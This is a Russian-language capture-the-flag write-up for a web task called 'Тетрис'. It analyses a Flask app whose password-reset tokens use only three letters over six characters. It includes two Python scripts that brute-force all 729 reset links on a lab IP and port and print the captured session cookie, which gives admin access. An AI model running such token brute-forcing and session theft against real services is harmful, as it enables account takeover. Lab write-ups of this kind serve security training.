Название: Тетрис
Категория: Web
Уровень: Средний
Ссылка на задание: https://hackerlab.pro/en/categories/web/a5c117da-b8c8-4c0e-9146-37391a47b9e6
Баллы: 500
Reconnaissance
Нас встречает окно авторизации, а также кнопки "Забыли пароль?" и "Нет аккаунта? Создать", давайте создадим. После успешной регистрации нас встречает игра тетрис. И это первый HoneyPot, посколку я залип на минут 30.Ничего интересного на странице кроме игры нет. Но в задании были исходники, давайте в них заглянем и изучим архитектуру сайта.
Сразу понимаем что перед нами Flask и первая мысль SSTI уязвимость, но не будем торопить коней и давайте изучим структуру страниц.
У нас есть страница
admin, но она нам не доступна (кто бы сомневался) и интересные страницы как resent_sent и reset_password. Теперь мы примерно понимаем, как устроен сайт, настало время самого вкусного, файла main.py, давайте его разбирать.
Из очень интересного здесь странички
/reset_password и /reset/<uuid>.Давайте внимательно рассмотрим
/reset_password, а именно функцию _generate_token()
Python:
@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
if request.method == 'POST':
username = request.form['username']
conn = sqlite3.connect('task.db')
c = conn.cursor()
user = c.execute("SELECT username, reset_uuid, email FROM users WHERE username=?", (username,)).fetchone()
if not user:
conn.close()
return render_template('reset_sent.html')
if user[1] is not None:
conn.close()
flash('Reset link has already been sent. Please use the existing link or wait until it expires.')
return render_template('reset_password.html')
def _generate_token():
_allowed = [98, 99, 100] # В ascii кодировке это буквы b,c,d
_result = []
for _ in range(6): # длина токена
_v = _allowed[random.randint(0, len(_allowed) - 1)]
_result.append(chr(_v))
return ''.join(_result)
reset_uuid = _generate_token()
c.execute("UPDATE users SET reset_uuid=? WHERE username=?",
(reset_uuid, username))
conn.commit()
conn.close()
return render_template('reset_sent.html')
return render_template('reset_password.html')
username, далее инициализирует подключение к sqlite3 и выполняет такой запрос: "Выбрать из базы пользователей строку username с пользовательским значением", хорошо запомним это.Теперь мы видим функцию
_generate_token()
Python:
def _generate_token():
_allowed = [98, 99, 100] # В ascii кодировке это буквы b,c,d
_result = []
for _ in range(6): # длина токена
_v = _allowed[random.randint(0, len(_allowed) - 1)]
_result.append(chr(_v))
return ''.join(_result)
reset_uuid = _generate_token()
c.execute("UPDATE users SET reset_uuid=? WHERE username=?",
(reset_uuid, username))
conn.commit()
conn.close()
return render_template('reset_sent.html')
Так, и теперь посмотрим на страничку
/reset/<uuid>.
Python:
@app.route('/reset/<uuid>')
def reset_confirm(uuid):
conn = sqlite3.connect('task.db')
c = conn.cursor()
user = c.execute("SELECT username FROM users WHERE reset_uuid=?", (uuid,)).fetchone()
if user:
c.execute("UPDATE users SET reset_uuid=NULL WHERE username=?", (user[0],)) # Вот этот коварный момент, запрос задаёт reset_uuid значение NULL после обращения, фактически моментально
conn.commit()
conn.close()
session['user'] = user[0]
return redirect(url_for('index'))
conn.close()
return "Invalid reset link", 404
И того, что мы имеем?ВАЖНО: Я сначла не заметил этого и потерял много времени, но после того как клиент обратился к /reset/<uuid>, он моментально удаляется.
При восстановлении пароля, создаётся уникальный токен для пользователя, перейдя по которому мы сможем восстановить пароль и после этого токен сразу же удалится.
Exploitation
Давайте напишем скрипт, который будет перебирать все возможные значения (всего их 729).
Python:
import itertools # библиотека для создания словаря
import requests # библиотека для запросов
def generate_combinations(): # функция генерации токена
alphabet = ['b', 'c', 'd'] # наши символы которые указаны в коде приложения
length = 6 # длина токена
combinations = itertools.product(alphabet, repeat=length) # комбинации или же наш лист
token_list = [''.join(item) for item in combinations] # создаём список
return token_list # заставляем функцию возврщать полученные значения
all_tokens = generate_combinations() # сохраняем вывод в переменную
for i in all_tokens: # перебираем каждый токен
#print(i)
x = requests.get('http://{IP}:{PORT}/reset/'+i) # Перебираем значения
if x.status_code == 200: # если наш токен прошёл, то он выведет нам статус и сам токен с сообщением что нашёл
print("FOUND: =======>",x.status_code, i)
break
else:
print(x.status_code, i) # проверяем что запросы идут
Python:
import itertools
import requests
def generate_combinations():
alphabet = ['b', 'c', 'd']
length = 6
combinations = itertools.product(alphabet, repeat=length)
token_list = [''.join(item) for item in combinations]
return token_list
all_tokens = generate_combinations()
for i in all_tokens:
x = requests.get(f'http://62.173.140.174:16060/reset/{i}', allow_redirects=False)
if x.status_code == 302: # Код ответа изменился, потому что 200 возвращался главная страница после редиректа
session_cookie = x.cookies.get_dict() # ворую куки
print("FOUND: =======>", "status:"+str(x.status_code), "cookie:"+str(session_cookie), "link:"+str(i)) # Вывожу их себе в терминал
break
else:
print(x.status_code, i)
/admin. Флаг у вас в руках!